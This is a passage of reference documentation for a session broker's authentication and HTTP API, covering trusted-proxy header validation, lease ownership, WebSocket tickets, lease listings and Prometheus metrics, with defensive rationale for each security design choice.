trusted_proxy_cidrsturns this validator into an open door. A header is not a credential. Anyone who can open a TCP connection to the broker’slisten_addrcan sendX-Forwarded-User: <anybody>— there is no signature, no expiry, and nothing to verify. The only thing standing between that and full impersonation is the CIDR allowlist, so:
- Never write
0.0.0.0/0or::/0. That is not “allow the ingress”, it is “let every caller on the network name themselves”. A request from the public internet carryingX-Forwarded-User: admin@example.comwould then claim leases, release other people’s leases, and — with a matchingauth.admin_scopein its scopes header — read the whole lease registry.- Write the proxy’s own address, not the client’s. The allowlist is matched against the peer that opened the connection, which is the proxy.
- Do not point it at a network you share with anything else. A
10.0.0.0/8that also contains other tenants’ workloads means any of those workloads can impersonate any broker user. Use the proxy’s/32(or/128) where you can.- Bind the broker where only the proxy can reach it — a loopback address or a private interface — so the CIDR check is a second line of defence rather than the only one.
- Chain this validator with
static,jwks, orintrospect(below) if some callers arrive directly rather than through the proxy; do not widen the CIDR to accommodate them.
auth:
validators:
- type: proxy_headers
# Required, and non-empty. Headers are read ONLY when the connecting peer
# is inside one of these networks. IPv4 and IPv6 alike.
trusted_proxy_cidrs:
- 10.4.0.0/16
- fd00:1ce::/64
# Required. No default: X-Forwarded-User, X-Auth-Request-Email and
# X-Forwarded-Preferred-Username are all real conventions.
principal_header: X-Forwarded-User
# Optional.
tenant_header: X-Auth-Request-Org
scopes_header: X-Forwarded-Groups
| Key | Type | Default | Description |
|---|---|---|---|
auth.validators[].trusted_proxy_cidrs | string or list | required | The networks whose peers may assert an identity through headers. A lone string is one CIDR (it is not split on whitespace). IPv4 and IPv6 prefixes are both accepted, and a prefix written with host bits set (10.4.1.2/16) is masked to the network it actually matches. An empty or absent list is a boot failure, never an implicit allow-everything — failing open here would silently turn the broker into an open door. A malformed entry fails the boot too, naming the index and the offending value. |
auth.validators[].principal_header | string | required | The header whose value becomes Principal.ID. There is no default because no default is right for everyone. Header names are matched case-insensitively. |
auth.validators[].tenant_header | string | "" | Optional header whose value becomes Principal.Tenant. Empty means the tenant is never populated. |
auth.validators[].scopes_header | string | "" | Optional header whose value becomes Principal.Scopes, split on commas and/or whitespace so both the OAuth 2.0 space-delimited form ("a b") and the comma-delimited lists proxies such as oauth2-proxy emit ("a,b") work unchanged. RFC 6749’s scope grammar allows neither character inside a scope, so nothing legitimate is split apart. Scope comparison stays case-sensitive. |
This validator has no secret-bearing key, and therefore no _env companion:
what authenticates a caller here is the network the connection came from, not a
value that has to be kept out of the config file.
Only the real peer address is consulted. X-Forwarded-For is never read.
XFF (and X-Real-IP, and anything like them) is written by whoever is talking
to the broker and can name any address at all; using it for the trust decision
would hand the allowlist straight to the attacker. The check uses the peer
address the kernel reports for the accepted connection and nothing else. A
RemoteAddr that is unset, malformed, or a Unix-socket path — which has no IP —
is denied, with no “probably local” fallback.
Out-of-CIDR peers are reported as “no credential”, not “credential rejected”.
From an untrusted peer the headers are not a credential that failed; they are not
a credential at all, because the validator never looks at them. That matters
twice over: a prober is not told its forged headers were even considered, and in
a chain the aggregate denial does not get upgraded to 401 credential rejected
(with no challenge) for a caller that simply forgot its bearer token. See the
status mapping table above.
A trusted peer whose principal_header is absent or blank is denied, exactly
as for jwks and introspect: an empty Principal.ID would compare equal to
the anonymous owner and to every other empty-id principal, which is a
privilege-escalation path rather than a cosmetic gap.
A header that arrives more than once is refused. Several proxies append
their value to a header the caller already sent rather than replacing it, leaving
X-Forwarded-User: attacker, real-user as two values — of which the first, the
caller’s, is the one a naive read returns. A correctly configured proxy always
sends exactly one value, so refusing the ambiguous case costs nothing and closes
an impersonation path.
Principal.Claims stays empty for this validator: proxy headers carry no claim
set, the same way a static token carries none.
Because the trust decision is positional rather than cryptographic, this validator composes well with the others through the chain — proxy headers from the ingress network, tokens from everywhere else:
auth:
validators:
- type: proxy_headers # tried first: no network round trip
trusted_proxy_cidrs: ["10.4.0.0/16"]
principal_header: X-Forwarded-User
- type: jwks # direct callers still need a real token
issuer: "https://id.example.com/"
jwks_url: "https://id.example.com/.well-known/jwks.json"
audience: "nexus-broker"
principal_claim: sub
Lease ownership
Every lease records the principal that claimed it (stamped from the authenticated
POST /claim request). Four routes consult that ownership:
| Route | Enforcement |
|---|---|
POST /release/{lease_id} | The caller’s principal ID must equal the lease owner’s ID, checked before any teardown begins — a refused release sends no shutdown frame, kills nothing, and frees no slot. |
WS /lease/{lease_id} | The same check, applied after the credential is validated and before the WebSocket upgrade, so a refused caller never gets an open socket that is then closed. It applies to a redeemed ?ticket= exactly as to a bearer token: a ticket is already bound to one lease and one principal, and ownership is re-checked on top of that so the lease must still exist and still belong to that principal at connect time, not merely at mint time. |
POST /ticket/{lease_id} | The same check, applied before any ticket is minted — a refused caller is issued nothing. See POST /ticket/{lease_id}. |
GET /leases | Not a refusal but a filter: the listing contains only leases whose owner ID matches the caller’s, and the capacity aggregates are omitted. A caller holding auth.admin_scope gets the whole registry instead. See GET /leases. |
Comparison is principal-ID equality and nothing else; tenant is never
consulted, and scopes only via auth.admin_scope on the read-only listing —
the two mutating routes ignore scopes entirely.
An unknown lease and another principal’s lease answer identically — same status, same body — so live lease ids cannot be enumerated by differencing responses:
| Route | Unknown or unowned lease |
|---|---|
POST /release/{lease_id} | 404 {"error":"unknown lease"} |
POST /ticket/{lease_id} | 404 {"error":"unknown lease"} — byte-identical to the release refusal |
WS /lease/{lease_id} | 404 unknown lease (plain text; the handshake never reaches 101) |
A credential that fails validation on WS /lease/{lease_id} gets the usual
401/403 from the status table above — a rejected ?ticket= included, with the
credential rejected body. That branch never consults the registry, so it reveals
nothing about whether the lease exists, and every way a ticket can fail answers
identically; see
WS /lease/{lease_id}.
Each ownership refusal emits one lease access denied WARN record carrying
route, principal_id and lease_id. Like the response, it does not record
whether the lease existed.
With the auth: block absent, nothing is refused and nothing is filtered. The
lease owner and the caller are then both the anonymous identity, so the equality
check admits every caller and all three routes behave exactly as they did before
ownership existed — GET /leases included, aggregates and all.
The broker’s own teardown paths — the idle_timeout sweeper and crash
detection — bypass ownership entirely. They are the broker acting on itself with
no principal at all, which is why the check lives in the HTTP handlers rather
than in the shared teardown they funnel through.
The spawned-instance side is configured by the nexus.io.broker plugin
(broker_addr, lease_id, spawn_secret) — see
nexus.io.broker in the I/O section. All three keys fall back
to the NEXUS_BROKER_ADDR / NEXUS_BROKER_LEASE_ID /
NEXUS_BROKER_SPAWN_SECRET environment variables the broker injects at spawn
(defined as brokerframe.EnvBrokerAddr / brokerframe.EnvLeaseID /
brokerframe.EnvSpawnSecret).
Instance dial-back authentication (WS /instance)
The auth: block does not govern the instance dial-back. That block says how
clients are verified; WS /instance is where a process the broker started
proves it is that process, and it does so with the per-spawn secret the broker
minted for the lease (injected through the child’s environment at exec, never
argv).
The secret is required unconditionally — auth: block or not, claimed lease
or restored lease. The register frame must carry a known lease_id, a version
matching the broker’s own frame schema version, and the matching secret.
Breaking change. Enforcement used to be gated on the
auth:block being present, so an unauthenticated broker (the documented default) admitted any register frame naming a live lease — including one carrying no secret at all. Lease ids are not secret: they travel inws_urls, client requests and logs, so anything that observed one could register as that lease’s instance the moment the real socket dropped. Anexusbuild predating the protocol now fails to register on every broker, and removing theauth:block is no longer a workaround. Upgrade the binary the registry entry points at; the check is per spawn, so one stale variant fails while every other entry keeps working. The step-by-step migration is in Upgrading an existing broker.
Every refusal — unknown lease, absent secret, wrong secret, skewed frame version
— is closed with the same policy violation / unknown lease close, so a dialer
cannot difference the responses to enumerate live lease ids. The log is the only
place the causes are distinguished, and each WARN names its own fix: upgrade
the binary (skewed version), upgrade the binary (absent secret), or investigate an
impostor (wrong secret). None of them ever contains a secret value. The
diagnostics matter because the symptom is identical and misleading — every claim
returns 504 instance did not become ready in time while the child process is
alive and connecting fine, which reads as a network fault.
The secret is never logged, never returned by GET /leases, and never passed in
argv.
POST /claim (HTTP API, not YAML)
POST /claim mints a lease, spawns an instance with the supplied config, waits
for it to dial back and signal ready, and returns the lease coordinates. The
request is a small JSON envelope; session_id is optional.
// request body
{
"config": "engine:\n name: example\n", // required: full nexus config (YAML text)
"session_id": "prior-session-id", // optional: resume a persisted session
"binary": "vision" // optional: which `binaries:` entry to spawn
}
binary names an entry of the broker’s binary registry.
Omitted means the reserved nexus entry, which every load guarantees exists —
so the field is additive and a client written before the registry existed keeps
getting exactly what it got before. Leading/trailing whitespace is trimmed, the
same way entry names are trimmed at load, so the two always agree. There is no
operator-settable default: an operator must not be able to silently change what
an existing client ends up spawning. (On a resume, omitted instead means the
entry that created the session — see
Resume inherits the recorded binary.)
An unknown name is HTTP 400, with a message echoing the rejected name and
listing the registry’s actual entries — not a silent fallback to nexus, which
would produce a session that merely behaves oddly. The name is resolved before
anything is allocated, so a rejected claim consumes no lease, no capacity slot
(it never even joins the FIFO wait queue), no temp config file, and spawns no
process.
The selected entry’s args are appended after the broker’s own -config /
-recall arguments, and its env is layered under the broker-owned
NEXUS_BROKER_* variables — see Binary registry.
The spawned instance does not inherit the broker’s environment wholesale: it
carries the always-pass set, whatever inherit_env
declares, the entry’s env, and the NEXUS_BROKER_* trio, and nothing else.
When session_id is set the broker spawns the instance with -recall <id> so
the engine reloads that session and replays its history; when omitted it starts
a fresh session. An unknown/invalid session_id makes the engine fail to boot,
so the instance never signals ready and the claim returns 502 (“instance
exited before signalling ready”) rather than silently starting a new session.
Resume inherits the recorded binary
On a resume, binary is reconciled against the entry recorded for that session
in the session → binary index.
A session directory is engine state written by one particular build, and
replaying it under a different variant does not fail loudly — the engine
boots, the transcript loads, and the session simply behaves as though
capabilities it once had have vanished. The claim is the only point at which that
mistake is still attributable, so:
session_id | binary | Recorded binding | Outcome |
|---|---|---|---|
| set | omitted | vision | Spawns vision — the recorded entry is inherited, not the reserved nexus. |
| set | vision | vision | Proceeds normally. |
| set | nexus | vision | 409 — {"error":"session \"…\" was created by binary \"vision\" but this claim requests \"nexus\"; …"}. The message names both the recorded and the requested entry. |
| set | anything | (none) | Falls through: spawns the requested entry, or nexus when none was requested. No error. |
| set | omitted | nocturne, no longer in binaries: | 409 — the message names the missing entry so it can be restored. Deliberately not a silent fallback to nexus, which is the same foreign-build replay the mismatch row prevents. |
| omitted | anything | — | Not a resume; resolves as described above. |
An unknown requested name is still 400 (not 409) even on a bound session:
a misspelling is a client bug, and only the 400 lists the entries that exist.
The check runs before anything is allocated, on the same path as the unknown-name
400, so a refused resume consumes no lease, no capacity slot, no temp config
file, and spawns no process.
409 rather than 400 or 500 for both conflict rows: the request is
well-formed and the caller named a real session, so a 400 would blame it for a
value it never sent; and nothing failed, so a 500 would report a healthy broker
as broken. What conflicts is the session’s recorded state against this broker’s
current configuration.
The binding is best-effort by construction and this check inherits that: an
unknown binding is no opinion, proceed. A broker with no state_dir, a session
created before bindings were recorded, and a binding evicted by the index’s
4096-entry cap all resume exactly as they did before the check existed — none of
them is ever reported as a mismatch.
// success response (200)
{
"lease_id": "…", // lease handle for this instance
"ws_url": "ws://host:port/lease/<lease>", // client WebSocket endpoint
"session_id": "…", // engine session id: the generated id for a
// new session (capture it to -recall later),
// or the requested id echoed back on resume
"ticket": "…" // single-use, 30s credential for ws_url;
// ABSENT when auth is disabled
}
When authentication is enabled, connect to ws_url with either the returned
ticket (ws_url + "?ticket=" + ticket) or the same bearer credential the
claim was made with: the client socket enforces lease ownership, so another
principal’s token — or none at all — is refused before the upgrade. See
WS /lease/{lease_id} and
Lease ownership.
ticket is a single-use, 30-second credential bound to this lease and the
claiming principal, for clients that cannot present a bearer header on the
WebSocket handshake — which is every browser, since browser JavaScript cannot set
headers on a WebSocket upgrade. It is omitted (not empty) when the broker runs
with no auth: block, because there is then nothing to authenticate and
WS /lease/{lease_id} accepts a connection with no ticket at all. It is also
omitted in the unlikely event minting failed; POST /ticket/{lease_id} mints a
replacement. Adding the field is additive — a client that ignores unknown JSON
keys is unaffected. See POST /ticket/{lease_id}
for the TTL rationale and the refresh path.
ws_url resolution
The returned ws_url must name the broker that holds the lease — a lease is
in-memory state on one process, so a reconnect routed elsewhere is worthless. The
host is resolved in strict precedence order:
| Precedence | Source | Notes |
|---|---|---|
| 1 | advertise_addr | Explicit operator intent about how this broker is reached. Nothing overrides it. |
| 2 | An explicit, non-wildcard host in listen_addr | e.g. 10.0.0.7:8080 — already unambiguous. |
| 3 | The claim request’s Host header | A guess. Correct for a directly-connected client; wrong behind a proxy or load balancer, where it names the intermediary. |
| 4 | 127.0.0.1:<listen port> | Last resort when there is no request Host at all. |
The scheme is ws:// unless a scheme-qualified advertise_addr says otherwise —
so a deployment that terminates TLS at a proxy sets
advertise_addr: "wss://broker-1.example.com" while the broker itself keeps
speaking plain HTTP on its bind address.
When advertise_addr is unset and listen_addr names no host, the broker
logs one WARN at startup naming the consequence: ws_urls will be derived from
each request’s Host header. The broker still starts — this shape is correct for
a directly-reachable broker.
A wss:// or https:// advertise_addr likewise logs one WARN at startup: the
broker has no TLS listener, so it is advertising a scheme it does not serve. The
broker still starts, because that is exactly right behind a TLS-terminating proxy
and the process cannot tell whether one is there. Advertise ws:// (or a bare
host:port) on a broker nothing fronts.
This resolution is client-facing only. The /instance dial-back address
handed to a spawned instance is resolved separately and always collapses a
wildcard bind to 127.0.0.1, because instances are same-host by design;
advertise_addr does not affect it.
POST /release/{lease_id} (HTTP API, not YAML)
POST /release/{lease_id} tears a live instance down gracefully. The broker
sends a shutdown frame to the instance, whose nexus.io.broker plugin emits
io.session.end so the engine performs a clean Stop — flushing and
persisting the session before exit. The broker then waits up to release_grace
for the process to exit, and if that window elapses it escalates:
SIGTERMto the instance’s process group. The engine treatsSIGTERMas a clean shutdown, so this is a second graceful chance rather than a kill — and, unlike theshutdownframe, it needs nothing from the dial-back socket. An instance that is wedged or mid reconnect-backoff never receives the frame at all, and this is the only teardown request it gets.SIGKILLto the same process group, 2s later, if the process is still there. That window is a fixed constant, not a config key:release_graceis the operator’s shutdown budget and has already elapsed by this point.
Both signals go to the process group, not the instance process alone, so everything the instance started — shell-tool commands, MCP stdio servers, code interpreters — dies with it instead of being re-parented to init. Each instance is made the leader of its own process group at spawn time for exactly this reason.
The lease is removed and its slot freed. The session directory under
~/.nexus/sessions/<id>/ is left intact and remains resumable via -recall.
| Outcome | Status | Body |
|---|---|---|
| Released (graceful or killed) | 200 | {"status":"released","lease_id":"…"} |
| Unknown / already-released lease | 404 | {"error":"unknown lease"} |
| Lease owned by a different principal | 404 | {"error":"unknown lease"} — deliberately identical to the row above; see Lease ownership |
| Missing lease id in path | 400 | {"error":"release requires a lease id"} |
Release is idempotent: releasing an already-gone lease returns 404 rather than
erroring, and concurrent releases of the same lease collapse to a single
teardown.
POST /ticket/{lease_id} (HTTP API, not YAML)
POST /ticket/{lease_id} mints a fresh client-WebSocket ticket for a caller
that owns the lease. It takes no request body.
Tickets exist because browser JavaScript cannot set headers on a WebSocket
handshake, so the bearer credential a claim was made with can never reach
WS /lease/{lease_id} from a browser. A ticket is the one credential the broker
itself mints, and it is deliberately not a general-purpose token:
| Property | Value |
|---|---|
| Lifetime | 30 seconds, fixed. Not configurable — see below. |
| Uses | One. Redemption atomically consumes it; two concurrent redemptions cannot both succeed. |
| Scope | Bound to one lease and one principal ID. A ticket for lease A is refused for lease B. |
| Storage | In-memory only. Tickets do not survive a broker restart; mint a new one. |
| Invalidation | Every ticket for a lease is destroyed the moment the lease goes away — manual POST /release, idle_timeout reaping, and crash detection alike, because invalidation hooks the single point all three teardowns converge on. |
Why the TTL is not a config key. A ticket travels as a URL query parameter, so
it lands in reverse-proxy access logs, browser history and referrer chains no
matter what the broker does. The tight window plus single use are the mitigation
for that exposure, so making it adjustable would let a deployment silently remove
the only thing that makes the design safe. The broker never logs a ticket value
— issuance records carry lease_id and principal_id and a boolean, nothing more.
Why a refresh route exists. 30 seconds covers a claim → connect round trip, not a reconnect after a dropped socket or a laptop resume. The alternative to refreshing would be re-claiming, which spawns a new instance and abandons the live session.
// success response (200)
{
"lease_id": "…",
"ticket": "…" // ABSENT when auth is disabled (see below)
}
| Outcome | Status | Body |
|---|---|---|
| Ticket issued | 200 | {"lease_id":"…","ticket":"…"} |
| Unknown / already-released lease | 404 | {"error":"unknown lease"} |
| Lease owned by a different principal | 404 | {"error":"unknown lease"} — byte-identical to the row above, so the route is not a lease-id oracle; see Lease ownership |
| Missing lease id in path | 400 | {"error":"ticket requires a lease id"} |
With the auth: block absent, ticket issuance is inert. The route still answers
200 for a lease the (anonymous) caller owns, but the ticket key is omitted
— there is no identity to bind a capability to, and WS /lease/{lease_id} keeps
accepting a connection with no ticket exactly as it did before tickets existed.
Clients must therefore treat a missing ticket as “this broker issues none”,
never as an empty-string ticket.
WS /lease/{lease_id} (HTTP API, not YAML)
The per-lease client socket. Connect to the ws_url returned by
POST /claim and exchange broker frames with the
instance. It accepts two credentials:
| Credential | How it is presented | For |
|---|---|---|
| Ticket | ?ticket=<value> on the handshake URL — ws_url + "?ticket=" + ticket | Browsers, which cannot set headers on a WebSocket upgrade. Issued by POST /claim and POST /ticket/{lease_id}. |
| Bearer | Authorization: Bearer <token> | Go/CLI and any other client that can set request headers. Use the same token the lease was claimed with. |
Precedence: a non-empty ?ticket= wins, and wins exclusively. When both are
presented the Authorization header is not consulted at all, and a ticket
failure is final rather than falling back to the header. Falling back would soften
single use into “single use unless you also hold a token” — a replayed ticket
accompanied by a valid header would connect — so a client that sends both and lets
its ticket expire is refused despite the good header. Send one credential, or mint a
fresh ticket.
| Outcome | Handshake | Body |
|---|---|---|
| Credential accepted and the caller owns the lease | 101 | (socket upgraded) |
| No credential at all (auth enabled) | 401 | {"error":"authentication required"} |
| Bearer token rejected by the validator chain | 401 | {"error":"credential rejected"} |
| Ticket unknown, expired, already redeemed, or minted for a different lease | 401 | {"error":"credential rejected"} — all four are byte-identical, so a holder of one value learns nothing about any other |
| Unknown, already-released, or another principal’s lease | 404 | unknown lease (plain text; the route cannot answer JSON before an upgrade) |
A refusal always precedes the upgrade — the handshake never reaches 101 and
is then closed. An accept-then-close is observably different from a clean refusal
(it confirms the lease id reached a live handler), which would defeat the point of
answering an unowned lease identically to an unknown one.
The ticket burns on connect. Redemption atomically consumes it, so a second
connect with the same value is refused; mint a replacement with
POST /ticket/{lease_id}. A ticket presented for the wrong lease is refused
without being consumed — a failed authorization check is not a use, so a stale
reconnect cannot destroy a credential the legitimate holder still needs — but the
response is identical either way.
Ticket values are never logged. The connect record carries lease_id,
principal_id and which channel was used (ticket, bearer or anonymous),
never the credential itself.
OriginPatterns is *: the broker does not use the Origin header as access
control. The credential is the access control.
With the auth: block absent, neither credential is consulted — not the
header, not the ticket — and the route is exactly “does this lease exist?”, as it
was before authentication existed. A client built for an authenticated broker can
point a ?ticket= at an open one and it still connects, rather than being refused
by a store that never issued anything.
After the upgrade, inbound io frames (client → instance) reset the
idle_timeout timer — as does the instance reporting its turn finished, and a
turn in flight suspends the timer entirely (see
idle_timeout) — and a frame whose lease_id
does not match the socket’s lease is dropped.
?from_seq=<n> — resuming a dropped stream
A second query parameter, orthogonal to the credential: ?from_seq=<n> states
the highest seq the client received before its
socket dropped. The broker replays every frame it still retains after n,
oldest first, and only then continues with the live stream — replayed frames
always precede live ones. It is a query parameter for the same reason ?ticket=
is (a browser cannot set headers on a WebSocket upgrade, and there is no
client → broker control frame to carry it in), and the two compose in any
order.
?from_seq= is not a credential. Ticket precedence, ownership and every
refusal above are unchanged by its presence: it can never widen what a caller may
connect to, only what an already-admitted caller is handed first.
| Value | Behaviour |
|---|---|
| Absent | The live stream only — byte for byte what every connect did before resumption existed. |
0 | Replay everything the buffer still holds. Not the same as absent: it is a client saying it has seen nothing. |
n > 0 | Replay the retained frames with seq > n. |
n greater than the lease’s last seq | Reported as a restarted gap (see below) and the whole retained buffer is replayed — the client’s numbering came from a stream that no longer exists. |
| Malformed (not a number, negative, out of range) | Treated as absent, never refused. A resume is an optimisation on top of a connection that works without it, so a client bug in building the URL costs the replay, not the session. |
The replay is not bounded by the connection’s 256-frame send queue — it is
written ahead of it — so the full client_replay_buffer_bytes
worth of frames replays intact however many frames that is.
When the buffer cannot cover the resume point, the socket opens with a
stream-gap frame before anything else, naming the range that is gone:
{"version":1,"lease_id":"…","signal":"stream-gap",
"payload":{"reason":"evicted","requested_from_seq":41,"missing_from_seq":42,"missing_through_seq":118}}
| Field | Meaning |
|---|---|
reason | evicted — the frames aged out of the bounded buffer. restarted — requested_from_seq is ahead of this lease’s stream, which is what a lease restored across a broker restart looks like (the buffer is in-memory, so a restored lease renumbers from 1). |
requested_from_seq | Echoes the from_seq presented, so a client with several sockets in flight can tell which request it answers. |
missing_from_seq, missing_through_seq | Inclusive bounds of the frames the broker can no longer supply. Both are omitted when nothing is nameable — a restarted stream has no missing range under the new numbering. |
The gap frame carries no seq: it describes one connection, not the lease’s
frame stream, so numbering it would make the stream’s sequence depend on how often
a client dropped. A gap is a normal outcome a client must handle, not an
error — it is what any disconnection longer than the buffer produces. Adding the
stream-gap signal needed no brokerframe version bump for the same reason seq
did not: it is only ever sent to a client that opted in by presenting ?from_seq=.
The reconnect recipe end to end — mint a fresh ticket, send from_seq, handle the
gap — is in the
session broker guide.
GET /leases (HTTP API, not YAML)
GET /leases is a read-only introspection surface: it reports a snapshot of live
leases, sorted by created_at then lease_id, plus — for an operator — the
capacity and queue aggregates. It performs no mutation.
What a caller sees depends on who it is. There are two response shapes:
| Caller | Leases | Aggregates |
|---|---|---|
Holds auth.admin_scope (an operator), or auth is disabled | every live lease | included |
| Any other authenticated caller | only leases it owns | omitted |
Operator response — the full shape, unchanged from before scoping existed:
// response (200) — operator, or auth disabled
{
"max_concurrent": 8, // configured cap (0 = unlimited)
"slots_in_use": 2, // live instances currently holding a slot
"queue_depth": 0, // claims parked in the FIFO capacity wait queue
"max_queue_depth": 32, // configured ceiling on that queue (0 = unlimited)
"leases": [
{
"lease_id": "…",
"session_id": "…", // omitted until reported by the instance
"pid": 41234,
"state": "active", // "spawning" | "active" | "draining"
"binary": "vision", // registry entry NAME; "" = not recorded
"reason": "manual release", // teardown reason once draining; omitted otherwise
"last_activity": "2026-06-25T12:00:00Z", // RFC3339
"created_at": "2026-06-25T11:59:30Z" // RFC3339
}
]
}
Caller-scoped response — same lease objects, same ordering, but only the caller’s own leases and no aggregate keys at all:
// response (200) — authenticated non-operator
{
"leases": [
{
"lease_id": "…",
"session_id": "…",
"pid": 41234,
"state": "active",
"binary": "vision",
"last_activity": "2026-06-25T12:00:00Z",
"created_at": "2026-06-25T11:59:30Z"
}
]
}
The aggregates are absent, not zeroed: max_concurrent, slots_in_use,
queue_depth and max_queue_depth let one tenant infer another’s load, and a
zero would read as a factual claim about an idle broker to a client that does not
know it is unprivileged. Clients must therefore treat a missing key as “not
disclosed” rather than as 0.
max_queue_depth is reported beside queue_depth because the observed depth
is unreadable without its bound: a depth of 12 is either a busy broker or one
about to start refusing claims with capacity queue full, and only the ceiling
tells them apart. It follows max_concurrent’s convention — 0 means unlimited.
binary is the binary registry entry name this
lease’s instance was spawned from — a name, never a path, so it discloses nothing
GET /binaries does not already list. It
appears in both response shapes. It is always present, and an empty string
means “not recorded” — a lease restored from a lease journal written before the
field existed, for instance. It never means “the entry named empty string”, which
cannot exist. Unlike session_id and reason it is not omitted when empty,
precisely so a client can tell “not recorded” from “this broker is too old to
report it”.
A caller that owns no live lease gets 200 with {"leases": []} — never a 404
and never an error. Filtering happens inside the registry snapshot, under the same
lock that guards the lease table, so a lease the caller may not see is never
copied out at all.
Surface states: spawning (lease exists, instance not yet registered),
active (registered, frames can flow), draining (a teardown has latched).
GET /binaries (HTTP API, not YAML)
GET /binaries lists the entries of the binary registry
this broker can spawn, so a client can render a picker from live broker truth
instead of hardcoding names that may not exist on the broker it is talking to.
It performs no mutation and reads nothing from the request.
// response (200) — entries sorted by name
{
"binaries": [
{ "name": "archive", "label": "Nexus 0.9" },
{ "name": "nexus" },
{
"name": "vision",
"label": "Nexus (vision)",
"description": "Multimodal build with the image tools compiled in"
}
]
}
| Field | Type | Description |
|---|---|---|
binaries | list of object | The listing. Always present and never null — an empty registry would encode as [] — so a client can iterate it unconditionally. |
binaries[].name | string | The registry key — the exact string to put in a claim’s binary field. Always present. |
binaries[].label | string | The entry’s label. Omitted when the operator set none. |
binaries[].description | string | The entry’s description. Omitted when the operator set none. |
The response is an object, not a bare array. The envelope exists so a broker-wide fact — a default-binary hint, a schema version — can be added later as a sibling key, which a client that ignores unknown keys will not notice. A top-level array has nowhere to put one, so adding it would mean changing the top-level JSON type and breaking every client at once.
path, args and env are never serialized, nor is the derived absolute
path the broker resolved at boot. They are broker-host detail — build locations,
deployment flags, per-variant environment — that a claiming client has no use for
and every reason not to learn. Only the three fields above cross the wire.
label and description are absent, not empty, when unset, so a client can
tell “the operator wrote nothing” from “the operator wrote an empty string”. A
consumer with no label falls back to name, which is always present.
Ordering is by name, ascending — stable across requests and identical for every
caller, so a picker does not reshuffle. The contents are not stable over time:
binaries: is reloadable, so an operator’s edit
changes the listing on the next SIGHUP (or the next boot). The listing and the
configuration it was rendered from are published in one atomic swap, so a caller
never sees a half-applied registry. The reserved nexus entry is always
included: it is spawnable from every broker no matter what the config says.
The listing is unfiltered — every caller sees every entry. There is no
per-principal visibility rule: an entry name is not a secret (an unknown one is
already rejected by POST /claim with a 400 naming the alternatives), and a
filter would need a per-entry authorization model no config key describes.
Authentication follows POST /claim exactly: the route is registered behind the
same middleware, so with an auth: block a missing or invalid credential is
refused (401) and a valid one gets the list; with no auth: block the route
serves an unauthenticated caller, which is a supported deployment rather than a
degraded one.
GET /metrics (HTTP API, not YAML)
GET /metrics is the broker’s Prometheus scrape surface. It is read-only,
mutates nothing, and takes no parameters. The response is the Prometheus text
exposition format with Content-Type: text/plain; version=0.0.4; charset=utf-8.
The exposition is hand-rolled: the broker is stdlib plus github.com/coder/websocket,
and no client library is pulled in for it. There is no configuration key — the
route is always mounted.
Authorization is stricter than every other route. It sits behind the same
auth: middleware as POST /claim, and additionally requires
auth.admin_scope:
| Broker configuration | Caller | Result |
|---|---|---|
No auth: block | anyone | 200 + exposition |
auth: configured | no / invalid credential | 401 (from the guard) |
auth: configured | valid credential, no admin_scope | 403 {"error":"insufficient scope"} |
auth: configured | valid credential with admin_scope | 200 + exposition |
auth: configured, admin_scope set to "" | anyone | 403 — nobody is an operator |
The rule matches GET /leases: every number here
is a whole-registry aggregate, which is exactly the disclosure the leases
listing already reserves for an operator. With no auth: block it serves anyone,
exactly as every other route on this binary does.
Metric names are a stable surface. All are namespaced nexus_broker_, and
their cardinality is bounded by construction — no metric is ever labelled by lease
id, principal, session id or binary path, and every label value comes from a
compile-time set, so each declared series is present (at 0) from the very first
scrape and an alert can be written against it before it ever fires.
| Metric | Type | Labels | Meaning |
|---|---|---|---|
nexus_broker_claims_total | counter | outcome | Instance claims handled by the shared spawn spine — POST /claim and the A2A ingress — by outcome. |
nexus_broker_claim_duration_seconds | histogram | — | Wall time of an accepted claim, request to ready instance. A refusal is not observed here. |
nexus_broker_spawn_failures_total | counter | reason | Spawns that produced no ready instance. |
nexus_broker_frames_dropped_total | counter | reason | Broker frames discarded rather than relayed. |
nexus_broker_replay_gaps_total | counter | reason | Stream-gap notices served to a resuming client. |
nexus_broker_client_evictions_total | counter | — | Client WebSockets displaced by a newer connection on the same lease. |
nexus_broker_config_reloads_total | counter | outcome | SIGHUP reloads, applied or rejected. |
nexus_broker_restored_leases_total | counter | outcome | Leases adopted from the journal at boot, and what became of them. |
nexus_broker_slots_in_use | gauge | — | Capacity slots currently held: one per live lease. |
nexus_broker_max_concurrent | gauge | — | Configured max_concurrent. 0 = unlimited. |
nexus_broker_queue_depth | gauge | — | Claims parked in the FIFO capacity queue. |
nexus_broker_max_queue_depth | gauge | — | Configured max_queue_depth. 0 = unlimited. |
nexus_broker_leases | gauge | state | Live leases by the GET /leases surface state: spawning, active, draining. |
nexus_broker_tickets_outstanding | gauge | — | Issued, unredeemed WebSocket tickets still held. |
Label values:
| Label | Metric | Values |
|---|---|---|
outcome | nexus_broker_claims_total | accepted, rejected, no_capacity, queue_timeout, queue_full, principal_lease_limit, principal_queue_limit, cancelled, spawn_failed, ready_timeout, internal |
reason | nexus_broker_spawn_failures_total | exec, exited_before_ready, ready_timeout |
reason | nexus_broker_frames_dropped_total | undecodable, lease_mismatch, no_instance, instance_buffer_full, client_buffer_full, lease_gone |
reason | nexus_broker_replay_gaps_total | evicted, restarted |
outcome | nexus_broker_config_reloads_total | applied, rejected |
outcome | nexus_broker_restored_leases_total | restored, reattached, reaped |
state | nexus_broker_leases | spawning, active, draining |
The three capacity refusals — no_capacity, queue_timeout, queue_full — all
answer HTTP 503, and they are separate label values precisely because they call
for three different fixes (raise max_concurrent, raise queue_wait_timeout,
raise max_queue_depth). Grouping a dashboard by status code loses that.
The counters are process-lifetime and monotonic; they reset on restart, as
Prometheus counters are expected to. The gauges are read from live state at scrape
time — from the same slots_in_use / waiter-queue counters the capacity
accounting and GET /leases already use — so they cannot drift from what the
registry actually holds.
Full narrative, the new-vs-resume flow, a WebSocket connect sketch, and the v1 deployment caveats live in the Session Broker guide.
Cross-references
- Plugin System — plugin lifecycle,
Requires()vsDependencies(), capability resolution. - Gates — vetoable event mechanics shared by every gate plugin.
- Tool System — tool choice, parallel dispatch, structured output.
- RAG — embeddings, vector store, ingestion.
- I/O Transport — browser vs Wails, parity rule.
- Desktop Shell — embedder API.
Sandboxing
Nexus tools that shell out (tools/shell) or execute agent-emitted code
(tools/code_exec) route through a single execution-isolation abstraction at
pkg/engine/sandbox. Backends slot in via the Sandbox interface; the v1
release ships host and wasm, with landlock, gvisor, and
firecracker deferred.
Threat model
